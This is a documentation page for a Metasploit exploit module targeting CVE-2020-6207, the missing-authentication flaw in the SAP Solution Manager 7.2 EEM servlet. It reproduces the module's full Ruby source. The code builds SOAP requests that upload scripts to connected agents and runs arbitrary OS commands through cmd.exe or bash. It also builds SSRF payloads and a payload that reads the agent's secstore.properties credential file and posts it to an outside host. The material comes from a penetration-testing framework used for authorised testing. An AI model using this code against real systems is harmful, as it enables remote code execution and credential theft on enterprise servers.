Module: Msf::Exploit::Remote::HTTP::SapSolManEemMissAuth
- Includes:
- Msf::Exploit::Remote::HttpClient
- Defined in:
- lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb
Overview
This module provides a way of interacting with vulnerable (CVE-2020-6207 - missing authentication checks in SAP EEM servlet) SAP Solution Manager version 7.2
Constant Summary collapse
- PAYLOAD_XML =
{ prefix: '', suffix: "\t</TransactionStep>\r\n</Script>\r\n" }.freeze
Instance Attribute Summary
Attributes included from Msf::Exploit::Remote::HttpClient
Instance Method Summary collapse
-
#check_agent(agent_name) ⇒ Object
Check agent in connected agents list.
-
#check_response(response) ⇒ Object
Check response from SAP SolMan server.
-
#delete_script_in_agent(agent_name, script_name) ⇒ Object
Delete script in agent.
-
#enable_eem(agent_name) ⇒ Object
Enable EEM in agent.
-
#make_agents_array ⇒ Object
Get connected agents info.
-
#make_rce_payload(os_command) ⇒ Object
Make RCE payload xml string.
-
#make_soap_body(agent_name, script_name, payload) ⇒ Object
Make SOAP body for SSRF or RCE payload xml string.
-
#make_ssrf_payload(method, uri) ⇒ Object
Make SSRF payload xml string.
-
#make_steal_credentials_payload(instance, host, port, url) ⇒ Object
Make payload for steal credentials for SolMan server from agent.
-
#pretty_agents_table(agents) ⇒ Object
Pretty print connected agents array.
-
#send_soap_request(soap_body) ⇒ Object
Send SOAP request to SAP SolMan server.
-
#stop_script_in_agent(agent_name, script_name) ⇒ Object
Stop script in agent.
Methods included from Msf::Exploit::Remote::HttpClient
#basic_auth, #cleanup, #configure_http_login_scanner, #connect, #connect_ws, #deregister_http_client_options, #disconnect, #download, #full_uri, #handler, #http_fingerprint, #initialize, #lookup_http_fingerprints, #normalize_uri, #path_from_uri, #peer, #proxies, #reconfig_redirect_opts!, #request_opts_from_url, #request_url, #rhost, #rport, #send_request_cgi, #send_request_cgi!, #send_request_raw, #service_details, #setup, #ssl, #ssl_version, #strip_tags, #target_uri, #validate_fingerprint, #vhost
Methods included from Auxiliary::LoginScanner
Methods included from Auxiliary::Report
#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot
Methods included from Metasploit::Framework::Require
optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines
Instance Method Details
#check_agent(agent_name) ⇒ Object
Check agent in connected agents list
196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 |
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 196 def check_agent(agent_name) vprint_status('Getting a list of connected agents ...') agents = make_agents_array if agents.empty? fail_with(Msf::Module::Failure::NoTarget, 'Solution Manager server is vulnerable but no agents are connected!') elsif agent_name.nil? fail_with(Msf::Module::Failure::BadConfig, "Please set agent: `set AGENT #{agents[0]['serverName']}`") end agents.each do |agent| if agent_name == agent[:serverName] return agent end end fail_with(Msf::Module::Failure::NotFound, "Not found agent: #{agent_name} in connected agents:\n#{pretty_agents_table(agents)}") end |
#check_response(response) ⇒ Object
Check response from SAP SolMan server
92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 |
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 92 def check_response(response) if response.nil? fail_with(Msf::Module::Failure::Unreachable, 'The server not responding.') elsif response.code != 200 fail_with(Msf::Module::Failure::UnexpectedReply, 'The server sent a response, but the response status code not in the expected status code: 200. The target is likely patched.') elsif !response.headers['Content-Type'].strip.start_with?('text/xml') fail_with(Msf::Module::Failure::UnexpectedReply, 'The server sent a response, but the response body not in the expected content type: text/xml. The target is likely patched.') elsif Nokogiri::XML(response.body).errors.any? fail_with(Msf::Module::Failure::UnexpectedReply, 'The server sent a response, but the response body not in the expected format. The target is likely patched.') elsif !response.body.match?(/<soap-env:body>/i) fail_with(Msf::Module::Failure::UnexpectedReply, 'The server sent a response, but the response body does not contain a SOAP body. The target is likely patched.') elsif response.body.match?(/<soap-env:fault>/i) fail_with(Msf::Module::Failure::UnexpectedReply, 'The server sent a response, but the response body contains errors.') elsif response.body.match?(/EemException: invalid agent name/i) fail_with(Msf::Module::Failure::NotFound, 'The server sent a response, but agent was not found.') else response end end |
#delete_script_in_agent(agent_name, script_name) ⇒ Object
Delete script in agent
164 165 166 |
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 164 def delete_script_in_agent(agent_name, script_name) script_action(agent_name, script_name, 'deleteScript') end |
#enable_eem(agent_name) ⇒ Object
Enable EEM in agent
133 134 135 136 137 138 139 140 141 142 143 144 145 |
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 133 def enable_eem(agent_name) soap_body = Nokogiri::XML(<<-SOAP_BODY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0) <adm:setAgeletProperties> <agentName>#{agent_name.encode(xml: :text)}</agentName> <propertyInfos> <flags>3</flags> <key>eem.enable</key> <value>True</value> </propertyInfos> </adm:setAgeletProperties> SOAP_BODY send_soap_request(soap_body.to_s) end |
#make_agents_array ⇒ Object
Get connected agents info
169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 |
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 169 def make_agents_array agents = [] all_agent_info = send_soap_request('<adm:getAllAgentInfo />') response_xml = all_agent_info.get_xml_document response_xml.css('return').each do |agent| os_name = '' java_version = '' agent.css('systemProperties').each do |system_properties| case system_properties.at_xpath('key').content when 'os.name' os_name = system_properties.at_xpath('value').content when 'java.version' java_version = system_properties.at_xpath('value').content end end agents.push({ serverName: agent.at_xpath('serverName').content, hostName: agent.at_xpath('hostName').content, instanceName: agent.at_xpath('instanceName').content, osName: os_name, javaVersion: java_version }) end agents end |
#make_rce_payload(os_command) ⇒ Object
Make RCE payload xml string
33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 33 def make_rce_payload(os_command) command = "var d = Packages.java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(os_command)}');" command << 'var c = new Packages.java.lang.String(d);' command << 'var b = new Packages.java.lang.ProcessBuilder();' command << 'var o = Packages.java.lang.System.getProperty("os.name").toLowerCase();' command << 'if (o.indexOf("win") >= 0) {b.command("cmd.exe","/c",c).start().waitFor();} ' command << 'else {b.command("bash","-c",c).start().waitFor();}' rce_payload = Nokogiri::XML(<<-RCE_PAYLOAD, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS) #{PAYLOAD_XML[:prefix]} <Message activated="true" id="2" method="AssignJS" name="AssignJS" type="Command" url=""> <Param name="expression" value=#{command.encode(xml: :attr)} /> <Param name="variable" value="test" /> </Message> #{PAYLOAD_XML[:suffix]} RCE_PAYLOAD rce_payload.to_s end |
#make_soap_body(agent_name, script_name, payload) ⇒ Object
Make SOAP body for SSRF or RCE payload xml string
75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 |
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 75 def make_soap_body(agent_name, script_name, payload) soap_body = Nokogiri::XML(<<-SOAP_BODY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0) <adm:uploadResource> <agentName>#{agent_name.encode(xml: :text)}</agentName> <fileInfos> <content>#{Base64.strict_encode64(payload)}</content> <fileName>script.http.xml</fileName> <scenarioName>#{script_name.encode(xml: :text)}</scenarioName> <scope>Script</scope> <scriptName>#{script_name.encode(xml: :text)}</scriptName> </fileInfos> </adm:uploadResource> SOAP_BODY soap_body.to_s end |
#make_ssrf_payload(method, uri) ⇒ Object
Make SSRF payload xml string
23 24 25 26 27 28 29 30 |
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 23 def make_ssrf_payload(method, uri) ssrf_payload = Nokogiri::XML(<<-SSRF_PAYLOAD, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS) #{PAYLOAD_XML[:prefix]} <Message activated="true" id="2" method="#{method}" name="index" type="ServerRequest" url="#{uri}" version="HTTP/1.1"></Message> #{PAYLOAD_XML[:suffix]} SSRF_PAYLOAD ssrf_payload.to_s end |
#make_steal_credentials_payload(instance, host, port, url) ⇒ Object
Make payload for steal credentials for SolMan server from agent
52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 |
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 52 def make_steal_credentials_payload(instance, host, port, url) command = "var u = new Packages.java.net.URL(\"http://#{host}:#{port}#{url}\");" command << 'var o = Packages.java.lang.System.getProperty("os.name").toLowerCase();' command << 'if (o.indexOf("win") >= 0) ' command << "{var p = Packages.java.nio.file.Paths.get(\"C:\\\\usr\\\\sap\\\\DAA\\\\#{instance}\\\\SMDAgent\\\\configuration\\\\secstore.properties\");} " command << "else {var p = Packages.java.nio.file.Paths.get(\"/usr/sap/DAA/#{instance}/SMDAgent/configuration/secstore.properties\");} " command << 'var f = Packages.java.nio.file.Files.readAllBytes(p);var c = u.openConnection();c.setDoOutput(true);' command << 'c.setRequestProperty("Content-Type","application/octet-stream");' command << 'c.setRequestProperty("X-File-Name",p.toAbsolutePath().toString());' command << 'var w = new Packages.java.io.DataOutputStream(c.getOutputStream());w.write(f);' command << 'try {c.getInputStream();} finally {c.disconnect();}' creds_payload = Nokogiri::XML(<<-CREDS_PAYLOAD, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS) #{PAYLOAD_XML[:prefix]} <Message activated="true" id="2" method="AssignJS" name="AssignJS" type="Command" url=""> <Param name="expression" value=#{command.encode(xml: :attr)} /> <Param name="variable" value="test" /> </Message> #{PAYLOAD_XML[:suffix]} CREDS_PAYLOAD creds_payload.to_s end |
#pretty_agents_table(agents) ⇒ Object
Pretty print connected agents array
213 214 215 216 217 218 219 220 221 222 223 224 225 |
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 213 def pretty_agents_table(agents) make_pretty_table = Rex::Text::Table.new( 'Header' => 'Connected Agents List', 'Indent' => 1, 'SortIndex' => -1, 'Columns' => ['Server Name', 'Host Name', 'Instance Name', 'OS Name', 'Java Version'] ) agents.each do |agent| row = [agent[:serverName], agent[:hostName], agent[:instanceName], agent[:osName], agent[:javaVersion]] make_pretty_table << row end make_pretty_table end |
#send_soap_request(soap_body) ⇒ Object
Send SOAP request to SAP SolMan server
113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 |
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 113 def send_soap_request(soap_body) data = Nokogiri::XML(<<-DATA, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0) <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/"> <soapenv:Header/> <soapenv:Body>#{soap_body}</soapenv:Body> </soapenv:Envelope> DATA response = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'data' => data, 'ctype' => 'text/xml; charset=UTF-8', 'headers' => { 'SOAPAction' => '""' } }) check_response(response) end |
#stop_script_in_agent(agent_name, script_name) ⇒ Object
Stop script in agent
159 160 161 |
# File 'lib/msf/core/exploit/remote/http/sap_sol_man_eem_miss_auth.rb', line 159 def stop_script_in_agent(agent_name, script_name) script_action(agent_name, script_name, 'stopScript') end |